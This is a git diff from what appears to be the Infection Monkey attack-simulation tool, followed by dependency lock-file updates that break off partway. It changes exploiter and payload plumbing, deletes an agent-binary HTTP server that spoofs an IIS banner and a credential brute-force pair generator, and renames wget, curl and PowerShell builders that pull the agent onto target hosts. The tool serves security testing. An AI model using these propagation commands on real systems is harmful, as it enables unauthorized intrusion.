UNSUPPORTED_MEMBER_TYPE_ERROR_MESSAGE = ( 'The provided archive contains a file type other than "directory" or "regular"' ) diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index fb2da530940..b81ea77a252 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -8,7 +8,7 @@ from common.types import AgentID, Event, NetworkPort from infection_monkey import network_scanning from infection_monkey.i_puppet import ( - ExploiterResultData, + ExploiterResult, FingerprintData, IncompatibleLocalOperatingSystemError, IncompatibleTargetOperatingSystemError, @@ -52,7 +52,7 @@ def run_credentials_collector( ) if not compatible_with_local_os: raise IncompatibleLocalOperatingSystemError( - f'The credentials collector, "{name}" is not compatible with the ' + f'The credentials collector, "{name}", is not compatible with the ' "local operating system" ) @@ -96,7 +96,7 @@ def exploit_host( servers: Sequence[str], options: Mapping, interrupt: Event, - ) -> ExploiterResultData: + ) -> ExploiterResult: compatible_with_local_os = ( self._plugin_compatibility_verifier.verify_local_operating_system_compatibility( AgentPluginType.EXPLOITER, name @@ -104,7 +104,7 @@ def exploit_host( ) if not compatible_with_local_os: raise IncompatibleLocalOperatingSystemError( - f'The exploiter, "{name}" is not compatible with the local operating system' + f'The exploiter, "{name}", is not compatible with the local operating system' ) compatible_with_target_os = ( @@ -118,7 +118,7 @@ def exploit_host( ) exploiter = self._plugin_registry.get_plugin(AgentPluginType.EXPLOITER, name) - exploiter_result_data = exploiter.run( + exploiter_result = exploiter.run( host=host, servers=servers, current_depth=current_depth, @@ -126,8 +126,8 @@ def exploit_host( interrupt=interrupt, ) - if exploiter_result_data is None: - exploiter_result_data = ExploiterResultData( + if exploiter_result is None: + exploiter_result = ExploiterResult( exploitation_success=False, propagation_success=False, error_message=( @@ -136,11 +136,21 @@ def exploit_host( ), ) - return exploiter_result_data + return exploiter_result def run_payload(self, name: str, options: Dict, interrupt: Event): + compatible_with_local_os = ( + self._plugin_compatibility_verifier.verify_local_operating_system_compatibility( + AgentPluginType.PAYLOAD, name + ) + ) + if not compatible_with_local_os: + raise IncompatibleLocalOperatingSystemError( + f'The payload, "{name}", is not compatible with the local operating system' + ) + payload = self._plugin_registry.get_plugin(AgentPluginType.PAYLOAD, name) - payload.run(options, interrupt) + payload.run(options=options, interrupt=interrupt) def cleanup(self) -> None: pass diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.payload.ransomware.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.payload.ransomware.py deleted file mode 100644 index fb773a53638..00000000000 --- a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.payload.ransomware.py +++ /dev/null @@ -1,3 +0,0 @@ -from PyInstaller.utils.hooks import collect_data_files - -datas = collect_data_files("infection_monkey.payload.ransomware") diff --git a/monkey/infection_monkey/transport/__init__.py b/monkey/infection_monkey/transport/__init__.py deleted file mode 100644 index 960bce31181..00000000000 --- a/monkey/infection_monkey/transport/__init__.py +++ /dev/null @@ -1 +0,0 @@ -from infection_monkey.transport.http import LockedHTTPServer diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py deleted file mode 100644 index 4dae125173f..00000000000 --- a/monkey/infection_monkey/transport/http.py +++ /dev/null @@ -1,157 +0,0 @@ -import http.server -import threading -import urllib -from logging import getLogger - -logger = getLogger(__name__) - - -class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): - protocol_version = "HTTP/1.1" - victim_os = "" - agent_binary_repository = None - - def version_string(self): - return "Microsoft-IIS/7.5." - - @staticmethod - def report_download(dest=None): - pass - - def do_POST(self): - self.send_error(501, "Unsupported method (POST)") - return - - def do_GET(self): - """Serve a GET request.""" - f, start_range, end_range = self.send_head() - if f: - f.seek(start_range, 0) - chunk = 0x1000 - total = 0 - while chunk > 0: - if start_range + chunk > end_range: - chunk = end_range - start_range - try: - self.wfile.write(f.read(chunk)) - except Exception: - break - total += chunk - start_range += chunk - - if f.tell() == len(f.getbuffer()): - if self.report_download(self.client_address): - self.close_connection = 1 - - f.close() - - def do_HEAD(self): - """Serve a HEAD request.""" - f, start_range, end_range = self.send_head() - if f: - f.close() - - def send_head(self): - if self.path != "/" + urllib.parse.quote(self.victim_os.value): - self.send_error(500, "") - return None, 0, 0 - try: - f = self.agent_binary_repository.get_agent_binary(self.victim_os) - except IOError: - self.send_error(404, "File not found") - return None, 0, 0 - size = len(f.getbuffer()) - start_range = 0 - end_range = size - - if "Range" in self.headers: - s, e = self.headers["range"][6:].split("-", 1) - sl = len(s) - el = len(e) - if sl > 0: - start_range = int(s) - if el > 0: - end_range = int(e) + 1 - elif el > 0: - ei = int(e) - if ei < size: - start_range = size - ei - - if start_range == 0 and end_range - start_range >= size: - self.send_response(200) - else: - self.send_response(206) - else: - self.send_response(200) - - self.send_header("Content-type", "application/octet-stream") - self.send_header( - "Content-Range", - "bytes " + str(start_range) + "-" + str(end_range - 1) + "/" + str(size), - ) - self.send_header("Content-Length", min(end_range - start_range, size)) - self.end_headers() - return f, start_range, end_range - - def log_message(self, format_string, *args): - logger.debug( - "FileServHTTPRequestHandler: %s - - [%s] %s" - % (self.address_string(), self.log_date_time_string(), format_string % args) - ) - - -class LockedHTTPServer(threading.Thread): - """ - Same as HTTPServer used for file downloads just with locks to avoid racing conditions. - You create a lock instance and pass it to this server's constructor. Then acquire the lock - before starting the server and after it. Once the server starts it will release the lock - and subsequent code will be able to continue to execute. That way subsequent code will - always call already running HTTP server - """ - - # Seconds to wait until server stops - STOP_TIMEOUT = 5 - - def __init__( - self, - local_ip, - local_port, - victim_os, - agent_binary_repository, - lock, - max_downloads=1, - ): - self._local_ip = local_ip - self._local_port = local_port - self._victim_os = victim_os - self._agent_binary_repository = agent_binary_repository - self.max_downloads = max_downloads - self.downloads = 0 - self._stopped = False - self.lock = lock - threading.Thread.__init__(self) - self.daemon = True - - def run(self): - class TempHandler(FileServHTTPRequestHandler): - victim_os = self._victim_os - agent_binary_repository = self._agent_binary_repository - - @staticmethod - def report_download(dest=None): - logger.info("File downloaded from (%s,%s)" % (dest[0], dest[1])) - self.downloads += 1 - if not self.downloads < self.max_downloads: - return True - return False - - httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler) - self.lock.release() - while not self._stopped and self.downloads < self.max_downloads: - httpd.handle_request() - - self._stopped = True - - def stop(self, timeout=STOP_TIMEOUT): - self._stopped = True - self.join(timeout) diff --git a/monkey/infection_monkey/utils/brute_force.py b/monkey/infection_monkey/utils/brute_force.py deleted file mode 100644 index f46df3905cb..00000000000 --- a/monkey/infection_monkey/utils/brute_force.py +++ /dev/null @@ -1,15 +0,0 @@ -from itertools import product -from typing import Any, Iterable, Tuple - - -def generate_identity_secret_pairs( - identities: Iterable, secrets: Iterable -) -> Iterable[Tuple[Any, Any]]: - """ - Generates all possible combinations of identities and secrets (e.g. usernames and passwords). - :param identities: An iterable containing identity components of a credential pair - :param secrets: An iterable containing secret components of a credential pair - :return: An iterable of all combinations of identity/secret pairs. If either identities or - secrets is empty, an empty iterator is returned. - """ - return product(identities, secrets) diff --git a/monkey/infection_monkey/utils/commands.py b/monkey/infection_monkey/utils/commands.py index 4a724dc65b6..e0eceb339e0 100644 --- a/monkey/infection_monkey/utils/commands.py +++ b/monkey/infection_monkey/utils/commands.py @@ -4,19 +4,10 @@ from common import OperatingSystem from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE from common.types import OTP, AgentID -from infection_monkey.exploit.tools.helpers import ( - AGENT_BINARY_PATH_LINUX, - AGENT_BINARY_PATH_WIN64, - get_agent_dst_path, - get_dropper_script_dst_path, -) +from infection_monkey.exploit.tools.helpers import get_agent_dst_path, get_dropper_script_dst_path from infection_monkey.i_puppet import TargetHost from infection_monkey.model import CMD_CARRY_OUT, CMD_EXE, MONKEY_ARG -# Dropper target paths -DROPPER_TARGET_PATH_LINUX = AGENT_BINARY_PATH_LINUX -DROPPER_TARGET_PATH_WIN64 = AGENT_BINARY_PATH_WIN64 - def build_agent_deploy_command( target_host: TargetHost, url: str, otp: OTP, args: Sequence[str] @@ -48,15 +39,11 @@ def build_dropper_script_download_command(target_host: TargetHost, url: str) -> def build_download_command(target_host: TargetHost, url: str, dst: PurePath) -> str: if target_host.operating_system == OperatingSystem.WINDOWS: - return build_download_command_windows(url, dst) + return build_download_command_windows_powershell_webrequest(url, dst) return build_download_command_linux_wget(url, dst) -def build_download_command_windows(url: str, dst: PurePath) -> str: - raise NotImplementedError() - - def build_download_command_linux_wget(url: str, dst: PurePath) -> str: return f"wget -qO {dst} {url}; {set_permissions_command_linux(dst)}" @@ -65,11 +52,11 @@ def build_download_command_linux_curl(url: str, dst: PurePath) -> str: return f"curl -so {dst} {url}; {set_permissions_command_linux(dst)}" -def download_command_windows_powershell_webclient(url: str, dst: PurePath) -> str: +def build_download_command_windows_powershell_webclient(url: str, dst: PurePath) -> str: return f"(new-object System.Net.WebClient).DownloadFile(^''{url}^'' , ^''{dst}^'')" -def download_command_windows_powershell_webrequest(url: str, dst: PurePath) -> str: +def build_download_command_windows_powershell_webrequest(url: str, dst: PurePath) -> str: return f"Invoke-WebRequest -Uri '{url}' -OutFile '{dst}' -UseBasicParsing" diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index f97ab129a2f..4ca23350ab2 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -30,7 +30,7 @@ pymongo = "*" cryptography = "*" semantic-version = "*" pypubsub = "*" -pydantic = "*" +pydantic = "<2.0.0" egg-timer = "*" pyyaml = "*" semver = "==2.13.0" @@ -62,6 +62,7 @@ types-pytz = "*" types-pyyaml = "*" pytest-xdist = "*" pytest-freezer = "*" +treelib = "*" [requires] python_version = "3.11" diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index a46aae01eaf..2c56a74de64 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "b82cde13da8bf34ba2dd6ea4107a5948f157d07ce18d977686e7e2432ec54815" + "sha256": "ce416bed739fa4dca6230f6a22f61d7c28c1a93069b524eaf3f8065964a327a8" }, "pipfile-spec": 6, "requires": { @@ -83,19 +83,19 @@ }, "boto3": { "hashes": [ - "sha256:23523d5d6aa51bba2461d67f6eb458d83b6a52d18e3d953b1ce71209b66462ec", - "sha256:ba7ca9215a1026620741273da10d0d3cceb9f7649f7c101e616a287071826f9d" + "sha256:2d4095e2029ce5ceccb25591f13e55aa5b8ba17794de09963654bd9ced45158f", + "sha256:dd15823e8c0554d98c18584d9a6a0342c67611c1114ef61495934c2e560f632c" ], "index": "pypi", - "version": "==1.26.135" + "version": "==1.26.155" }, "botocore": { "hashes": [ - "sha256:06502a4473924ef60ac0de908385a5afab9caee6c5b49cf6a330fab0d76ddf5f", - "sha256:0c61d4e5e04fe5329fa65da6b31492ef9d0d5174d72fc2af69de2ed0f87804ca" + "sha256:32d5da68212e10c060fd484f41df4f7048fc7731ccd16fd00e37b11b6e841142", + "sha256:7fbb7ebba5f645c9750fe557b1ea789d40017a028cdaa2c22fcbf06d4a4d3c1d" ], "index": "pypi", - "version": "==1.29.135" + "version": "==1.29.155" }, "certifi": { "hashes": [ @@ -274,36 +274,36 @@ }, "cryptography": { "hashes": [ - "sha256:05dc219433b14046c476f6f09d7636b92a1c3e5808b9a6536adf4932b3b2c440", - "sha256:0dcca15d3a19a66e63662dc8d30f8036b07be851a8680eda92d079868f106288", - "sha256:142bae539ef28a1c76794cca7f49729e7c54423f615cfd9b0b1fa90ebe53244b", - "sha256:3daf9b114213f8ba460b829a02896789751626a2a4e7a43a28ee77c04b5e4958", - "sha256:48f388d0d153350f378c7f7b41497a54ff1513c816bcbbcafe5b829e59b9ce5b", - "sha256:4df2af28d7bedc84fe45bd49bc35d710aede676e2a4cb7fc6d103a2adc8afe4d", - "sha256:4f01c9863da784558165f5d4d916093737a75203a5c5286fde60e503e4276c7a", - "sha256:7a38250f433cd41df7fcb763caa3ee9362777fdb4dc642b9a349721d2bf47404", - "sha256:8f79b5ff5ad9d3218afb1e7e20ea74da5f76943ee5edb7f76e56ec5161ec782b", - "sha256:956ba8701b4ffe91ba59665ed170a2ebbdc6fc0e40de5f6059195d9f2b33ca0e", - "sha256:a04386fb7bc85fab9cd51b6308633a3c271e3d0d3eae917eebab2fac6219b6d2", - "sha256:a95f4802d49faa6a674242e25bfeea6fc2acd915b5e5e29ac90a32b1139cae1c", - "sha256:adc0d980fd2760c9e5de537c28935cc32b9353baaf28e0814df417619c6c8c3b", - "sha256:aecbb1592b0188e030cb01f82d12556cf72e218280f621deed7d806afd2113f9", - "sha256:b12794f01d4cacfbd3177b9042198f3af1c856eedd0a98f10f141385c809a14b", - "sha256:c0764e72b36a3dc065c155e5b22f93df465da9c39af65516fe04ed3c68c92636", - "sha256:c33c0d32b8594fa647d2e01dbccc303478e16fdd7cf98652d5b3ed11aa5e5c99", - "sha256:cbaba590180cba88cb99a5f76f90808a624f18b169b90a4abb40c1fd8c19420e", - "sha256:d5a1bd0e9e2031465761dfa920c16b0065ad77321d8a8c1f5ee331021fda65e9" + "sha256:059e348f9a3c1950937e1b5d7ba1f8e968508ab181e75fc32b879452f08356db", + "sha256:1a5472d40c8f8e91ff7a3d8ac6dfa363d8e3138b961529c996f3e2df0c7a411a", + "sha256:1a8e6c2de6fbbcc5e14fd27fb24414507cb3333198ea9ab1258d916f00bc3039", + "sha256:1fee5aacc7367487b4e22484d3c7e547992ed726d14864ee33c0176ae43b0d7c", + "sha256:5d092fdfedaec4cbbffbf98cddc915ba145313a6fdaab83c6e67f4e6c218e6f3", + "sha256:5f0ff6e18d13a3de56f609dd1fd11470918f770c6bd5d00d632076c727d35485", + "sha256:7bfc55a5eae8b86a287747053140ba221afc65eb06207bedf6e019b8934b477c", + "sha256:7fa01527046ca5facdf973eef2535a27fec4cb651e4daec4d043ef63f6ecd4ca", + "sha256:8dde71c4169ec5ccc1087bb7521d54251c016f126f922ab2dfe6649170a3b8c5", + "sha256:8f4ab7021127a9b4323537300a2acfb450124b2def3756f64dc3a3d2160ee4b5", + "sha256:948224d76c4b6457349d47c0c98657557f429b4e93057cf5a2f71d603e2fc3a3", + "sha256:9a6c7a3c87d595608a39980ebaa04d5a37f94024c9f24eb7d10262b92f739ddb", + "sha256:b46e37db3cc267b4dea1f56da7346c9727e1209aa98487179ee8ebed09d21e43", + "sha256:b4ceb5324b998ce2003bc17d519080b4ec8d5b7b70794cbd2836101406a9be31", + "sha256:cb33ccf15e89f7ed89b235cff9d49e2e62c6c981a6061c9c8bb47ed7951190bc", + "sha256:d198820aba55660b4d74f7b5fd1f17db3aa5eb3e6893b0a41b75e84e4f9e0e4b", + "sha256:d34579085401d3f49762d2f7d6634d6b6c2ae1242202e860f4d26b046e3a1006", + "sha256:eb8163f5e549a22888c18b0d53d6bb62a20510060a22fd5a995ec8a05268df8a", + "sha256:f73bff05db2a3e5974a6fd248af2566134d8981fd7ab012e5dd4ddb1d9a70699" ], "index": "pypi", - "version": "==40.0.2" + "version": "==41.0.1" }, "deprecated": { "hashes": [ - "sha256:43ac5335da90c31c24ba028af536a91d41d53f9e6901ddb021bcc572ce44e38d", - "sha256:64756e3e14c8c5eea9795d93c524551432a0be75629f8f29e67ab8caf076c76d" + "sha256:6fac8b097794a90302bdbb17b9b815e732d3c4720583ff1b198499d78470466c", + "sha256:e5323eb936458dccc2582dc6f9c322c852a775a27065ff2b0c4970b9d53d01b3" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==1.2.13" + "version": "==1.2.14" }, "dnspython": { "hashes": [ @@ -315,11 +315,11 @@ }, "dpath": { "hashes": [ - "sha256:559edcbfc806ca2f9ad9e63566f22e5d41c000e4215bbce9dbf1ca4c859f5e0b", - "sha256:ccd964db839baad4aa820612b4b8731b09f40a245d401b723156ce4ef45b22b7" + "sha256:31407395b177ab63ef72e2f6ae268c15e938f2990a8ecf6510f5686c02b6db73", + "sha256:f1e07c72e8605c6a9e80b64bc8f42714de08a789c7de417e49c3f87a19692e47" ], "index": "pypi", - "version": "==2.1.5" + "version": "==2.1.6" }, "egg-timer": { "hashes": [ @@ -377,11 +377,11 @@ }, "flask-restful": { "hashes": [ - "sha256:4970c49b6488e46c520b325f54833374dc2b98e211f1b272bd4b0c516232afe2", - "sha256:ccec650b835d48192138c85329ae03735e6ced58e9b2d9c2146d6c84c06fa53e" + "sha256:1cf93c535172f112e080b0d4503a8d15f93a48c88bdd36dd87269bdaf405051b", + "sha256:fe4af2ef0027df8f9b4f797aba20c5566801b6ade995ac63b588abf1a59cec37" ], "index": "pypi", - "version": "==0.3.9" + "version": "==0.3.10" }, "flask-security-too": { "hashes": [ @@ -597,67 +597,67 @@ }, "markdown-it-py": { "hashes": [ - "sha256:5a35f8d1870171d9acc47b99612dc146129b631baf04970128b568f190d0cc30", - "sha256:7c9a5e412688bc771c67432cbfebcdd686c93ce6484913dccf06cb5a0bea35a1" + "sha256:355216845c60bd96232cd8d8c40e8f9765cc86f46880e43a8fd22dc1a1a8cab1", + "sha256:e3f60a94fa066dc52ec76661e37c851cb232d92f9886b15cb560aaada2df8feb" ], - "markers": "python_version >= '3.7'", - "version": "==2.2.0" + "markers": "python_version >= '3.8'", + "version": "==3.0.0" }, "markupsafe": { "hashes": [ - "sha256:0576fe974b40a400449768941d5d0858cc624e3249dfd1e0c33674e5c7ca7aed", - "sha256:085fd3201e7b12809f9e6e9bc1e5c96a368c8523fad5afb02afe3c051ae4afcc", - "sha256:090376d812fb6ac5f171e5938e82e7f2d7adc2b629101cec0db8b267815c85e2", - "sha256:0b462104ba25f1ac006fdab8b6a01ebbfbce9ed37fd37fd4acd70c67c973e460", - "sha256:137678c63c977754abe9086a3ec011e8fd985ab90631145dfb9294ad09c102a7", - "sha256:1bea30e9bf331f3fef67e0a3877b2288593c98a21ccb2cf29b74c581a4eb3af0", - "sha256:22152d00bf4a9c7c83960521fc558f55a1adbc0631fbb00a9471e097b19d72e1", - "sha256:22731d79ed2eb25059ae3df1dfc9cb1546691cc41f4e3130fe6bfbc3ecbbecfa", - "sha256:2298c859cfc5463f1b64bd55cb3e602528db6fa0f3cfd568d3605c50678f8f03", - "sha256:28057e985dace2f478e042eaa15606c7efccb700797660629da387eb289b9323", - "sha256:2e7821bffe00aa6bd07a23913b7f4e01328c3d5cc0b40b36c0bd81d362faeb65", - "sha256:2ec4f2d48ae59bbb9d1f9d7efb9236ab81429a764dedca114f5fdabbc3788013", - "sha256:340bea174e9761308703ae988e982005aedf427de816d1afe98147668cc03036", - "sha256:40627dcf047dadb22cd25ea7ecfe9cbf3bbbad0482ee5920b582f3809c97654f", - "sha256:40dfd3fefbef579ee058f139733ac336312663c6706d1163b82b3003fb1925c4", - "sha256:4cf06cdc1dda95223e9d2d3c58d3b178aa5dacb35ee7e3bbac10e4e1faacb419", - "sha256:50c42830a633fa0cf9e7d27664637532791bfc31c731a87b202d2d8ac40c3ea2", - "sha256:55f44b440d491028addb3b88f72207d71eeebfb7b5dbf0643f7c023ae1fba619", - "sha256:608e7073dfa9e38a85d38474c082d4281f4ce276ac0010224eaba11e929dd53a", - "sha256:63ba06c9941e46fa389d389644e2d8225e0e3e5ebcc4ff1ea8506dce646f8c8a", - "sha256:65608c35bfb8a76763f37036547f7adfd09270fbdbf96608be2bead319728fcd", - "sha256:665a36ae6f8f20a4676b53224e33d456a6f5a72657d9c83c2aa00765072f31f7", - "sha256:6d6607f98fcf17e534162f0709aaad3ab7a96032723d8ac8750ffe17ae5a0666", - "sha256:7313ce6a199651c4ed9d7e4cfb4aa56fe923b1adf9af3b420ee14e6d9a73df65", - "sha256:7668b52e102d0ed87cb082380a7e2e1e78737ddecdde129acadb0eccc5423859", - "sha256:7df70907e00c970c60b9ef2938d894a9381f38e6b9db73c5be35e59d92e06625", - "sha256:7e007132af78ea9df29495dbf7b5824cb71648d7133cf7848a2a5dd00d36f9ff", - "sha256:835fb5e38fd89328e9c81067fd642b3593c33e1e17e2fdbf77f5676abb14a156", - "sha256:8bca7e26c1dd751236cfb0c6c72d4ad61d986e9a41bbf76cb445f69488b2a2bd", - "sha256:8db032bf0ce9022a8e41a22598eefc802314e81b879ae093f36ce9ddf39ab1ba", - "sha256:99625a92da8229df6d44335e6fcc558a5037dd0a760e11d84be2260e6f37002f", - "sha256:9cad97ab29dfc3f0249b483412c85c8ef4766d96cdf9dcf5a1e3caa3f3661cf1", - "sha256:a4abaec6ca3ad8660690236d11bfe28dfd707778e2442b45addd2f086d6ef094", - "sha256:a6e40afa7f45939ca356f348c8e23048e02cb109ced1eb8420961b2f40fb373a", - "sha256:a6f2fcca746e8d5910e18782f976489939d54a91f9411c32051b4aab2bd7c513", - "sha256:a806db027852538d2ad7555b203300173dd1b77ba116de92da9afbc3a3be3eed", - "sha256:abcabc8c2b26036d62d4c746381a6f7cf60aafcc653198ad678306986b09450d", - "sha256:b8526c6d437855442cdd3d87eede9c425c4445ea011ca38d937db299382e6fa3", - "sha256:bb06feb762bade6bf3c8b844462274db0c76acc95c52abe8dbed28ae3d44a147", - "sha256:c0a33bc9f02c2b17c3ea382f91b4db0e6cde90b63b296422a939886a7a80de1c", - "sha256:c4a549890a45f57f1ebf99c067a4ad0cb423a05544accaf2b065246827ed9603", - "sha256:ca244fa73f50a800cf8c3ebf7fd93149ec37f5cb9596aa8873ae2c1d23498601", - "sha256:cf877ab4ed6e302ec1d04952ca358b381a882fbd9d1b07cccbfd61783561f98a", - "sha256:d9d971ec1e79906046aa3ca266de79eac42f1dbf3612a05dc9368125952bd1a1", - "sha256:da25303d91526aac3672ee6d49a2f3db2d9502a4a60b55519feb1a4c7714e07d", - "sha256:e55e40ff0cc8cc5c07996915ad367fa47da6b3fc091fdadca7f5403239c5fec3", - "sha256:f03a532d7dee1bed20bc4884194a16160a2de9ffc6354b3878ec9682bb623c54", - "sha256:f1cd098434e83e656abf198f103a8207a8187c0fc110306691a2e94a78d0abb2", - "sha256:f2bfb563d0211ce16b63c7cb9395d2c682a23187f54c3d79bfec33e6705473c6", - "sha256:f8ffb705ffcf5ddd0e80b65ddf7bed7ee4f5a441ea7d3419e861a12eaf41af58" + "sha256:05fb21170423db021895e1ea1e1f3ab3adb85d1c2333cbc2310f2a26bc77272e", + "sha256:0a4e4a1aff6c7ac4cd55792abf96c915634c2b97e3cc1c7129578aa68ebd754e", + "sha256:10bbfe99883db80bdbaff2dcf681dfc6533a614f700da1287707e8a5d78a8431", + "sha256:134da1eca9ec0ae528110ccc9e48041e0828d79f24121a1a146161103c76e686", + "sha256:1577735524cdad32f9f694208aa75e422adba74f1baee7551620e43a3141f559", + "sha256:1b40069d487e7edb2676d3fbdb2b0829ffa2cd63a2ec26c4938b2d34391b4ecc", + "sha256:282c2cb35b5b673bbcadb33a585408104df04f14b2d9b01d4c345a3b92861c2c", + "sha256:2c1b19b3aaacc6e57b7e25710ff571c24d6c3613a45e905b1fde04d691b98ee0", + "sha256:2ef12179d3a291be237280175b542c07a36e7f60718296278d8593d21ca937d4", + "sha256:338ae27d6b8745585f87218a3f23f1512dbf52c26c28e322dbe54bcede54ccb9", + "sha256:3c0fae6c3be832a0a0473ac912810b2877c8cb9d76ca48de1ed31e1c68386575", + "sha256:3fd4abcb888d15a94f32b75d8fd18ee162ca0c064f35b11134be77050296d6ba", + "sha256:42de32b22b6b804f42c5d98be4f7e5e977ecdd9ee9b660fda1a3edf03b11792d", + "sha256:504b320cd4b7eff6f968eddf81127112db685e81f7e36e75f9f84f0df46041c3", + "sha256:525808b8019e36eb524b8c68acdd63a37e75714eac50e988180b169d64480a00", + "sha256:56d9f2ecac662ca1611d183feb03a3fa4406469dafe241673d521dd5ae92a155", + "sha256:5bbe06f8eeafd38e5d0a4894ffec89378b6c6a625ff57e3028921f8ff59318ac", + "sha256:65c1a9bcdadc6c28eecee2c119465aebff8f7a584dd719facdd9e825ec61ab52", + "sha256:68e78619a61ecf91e76aa3e6e8e33fc4894a2bebe93410754bd28fce0a8a4f9f", + "sha256:69c0f17e9f5a7afdf2cc9fb2d1ce6aabdb3bafb7f38017c0b77862bcec2bbad8", + "sha256:6b2b56950d93e41f33b4223ead100ea0fe11f8e6ee5f641eb753ce4b77a7042b", + "sha256:787003c0ddb00500e49a10f2844fac87aa6ce977b90b0feaaf9de23c22508b24", + "sha256:7ef3cb2ebbf91e330e3bb937efada0edd9003683db6b57bb108c4001f37a02ea", + "sha256:8023faf4e01efadfa183e863fefde0046de576c6f14659e8782065bcece22198", + "sha256:8758846a7e80910096950b67071243da3e5a20ed2546e6392603c096778d48e0", + "sha256:8afafd99945ead6e075b973fefa56379c5b5c53fd8937dad92c662da5d8fd5ee", + "sha256:8c41976a29d078bb235fea9b2ecd3da465df42a562910f9022f1a03107bd02be", + "sha256:8e254ae696c88d98da6555f5ace2279cf7cd5b3f52be2b5cf97feafe883b58d2", + "sha256:9402b03f1a1b4dc4c19845e5c749e3ab82d5078d16a2a4c2cd2df62d57bb0707", + "sha256:962f82a3086483f5e5f64dbad880d31038b698494799b097bc59c2edf392fce6", + "sha256:9dcdfd0eaf283af041973bff14a2e143b8bd64e069f4c383416ecd79a81aab58", + "sha256:aa7bd130efab1c280bed0f45501b7c8795f9fdbeb02e965371bbef3523627779", + "sha256:ab4a0df41e7c16a1392727727e7998a467472d0ad65f3ad5e6e765015df08636", + "sha256:ad9e82fb8f09ade1c3e1b996a6337afac2b8b9e365f926f5a61aacc71adc5b3c", + "sha256:af598ed32d6ae86f1b747b82783958b1a4ab8f617b06fe68795c7f026abbdcad", + "sha256:b076b6226fb84157e3f7c971a47ff3a679d837cf338547532ab866c57930dbee", + "sha256:b7ff0f54cb4ff66dd38bebd335a38e2c22c41a8ee45aa608efc890ac3e3931bc", + "sha256:bfce63a9e7834b12b87c64d6b155fdd9b3b96191b6bd334bf37db7ff1fe457f2", + "sha256:c011a4149cfbcf9f03994ec2edffcb8b1dc2d2aede7ca243746df97a5d41ce48", + "sha256:c9c804664ebe8f83a211cace637506669e7890fec1b4195b505c214e50dd4eb7", + "sha256:ca379055a47383d02a5400cb0d110cef0a776fc644cda797db0c5696cfd7e18e", + "sha256:cb0932dc158471523c9637e807d9bfb93e06a95cbf010f1a38b98623b929ef2b", + "sha256:cd0f502fe016460680cd20aaa5a76d241d6f35a1c3350c474bac1273803893fa", + "sha256:ceb01949af7121f9fc39f7d27f91be8546f3fb112c608bc4029aef0bab86a2a5", + "sha256:d080e0a5eb2529460b30190fcfcc4199bd7f827663f858a226a81bc27beaa97e", + "sha256:dd15ff04ffd7e05ffcb7fe79f1b98041b8ea30ae9234aed2a9168b5797c3effb", + "sha256:df0be2b576a7abbf737b1575f048c23fb1d769f267ec4358296f31c2479db8f9", + "sha256:e09031c87a1e51556fdcb46e5bd4f59dfb743061cf93c4d6831bf894f125eb57", + "sha256:e4dd52d80b8c83fdce44e12478ad2e85c64ea965e75d66dbeafb0a3e77308fcc", + "sha256:fec21693218efe39aa7f8599346e90c705afa52c5b31ae019b2e57e8f6542bb2" ], "markers": "python_version >= '3.7'", - "version": "==2.1.2" + "version": "==2.1.3" }, "mdurl": { "hashes": [ @@ -724,45 +724,45 @@ }, "pydantic": { "hashes": [ - "sha256:01aea3a42c13f2602b7ecbbea484a98169fb568ebd9e247593ea05f01b884b2e", - "sha256:0cd181f1d0b1d00e2b705f1bf1ac7799a2d938cce3376b8007df62b29be3c2c6", - "sha256:10a86d8c8db68086f1e30a530f7d5f83eb0685e632e411dbbcf2d5c0150e8dcd", - "sha256:193924c563fae6ddcb71d3f06fa153866423ac1b793a47936656e806b64e24ca", - "sha256:464855a7ff7f2cc2cf537ecc421291b9132aa9c79aef44e917ad711b4a93163b", - "sha256:516f1ed9bc2406a0467dd777afc636c7091d71f214d5e413d64fef45174cfc7a", - "sha256:6434b49c0b03a51021ade5c4daa7d70c98f7a79e95b551201fff682fc1661245", - "sha256:64d34ab766fa056df49013bb6e79921a0265204c071984e75a09cbceacbbdd5d", - "sha256:670bb4683ad1e48b0ecb06f0cfe2178dcf74ff27921cdf1606e527d2617a81ee", - "sha256:68792151e174a4aa9e9fc1b4e653e65a354a2fa0fed169f7b3d09902ad2cb6f1", - "sha256:701daea9ffe9d26f97b52f1d157e0d4121644f0fcf80b443248434958fd03dc3", - "sha256:7d45fc99d64af9aaf7e308054a0067fdcd87ffe974f2442312372dfa66e1001d", - "sha256:80b1fab4deb08a8292d15e43a6edccdffa5377a36a4597bb545b93e79c5ff0a5", - "sha256:82dffb306dd20bd5268fd6379bc4bfe75242a9c2b79fec58e1041fbbdb1f7914", - "sha256:8c7f51861d73e8b9ddcb9916ae7ac39fb52761d9ea0df41128e81e2ba42886cd", - "sha256:950ce33857841f9a337ce07ddf46bc84e1c4946d2a3bba18f8280297157a3fd1", - "sha256:976cae77ba6a49d80f461fd8bba183ff7ba79f44aa5cfa82f1346b5626542f8e", - "sha256:9f6f0fd68d73257ad6685419478c5aece46432f4bdd8d32c7345f1986496171e", - "sha256:a7cd2251439988b413cb0a985c4ed82b6c6aac382dbaff53ae03c4b23a70e80a", - "sha256:abfb7d4a7cd5cc4e1d1887c43503a7c5dd608eadf8bc615413fc498d3e4645cd", - "sha256:ae150a63564929c675d7f2303008d88426a0add46efd76c3fc797cd71cb1b46f", - "sha256:b0f85904f73161817b80781cc150f8b906d521fa11e3cdabae19a581c3606209", - "sha256:b4a849d10f211389502059c33332e91327bc154acc1845f375a99eca3afa802d", - "sha256:c15582f9055fbc1bfe50266a19771bbbef33dd28c45e78afbe1996fd70966c2a", - 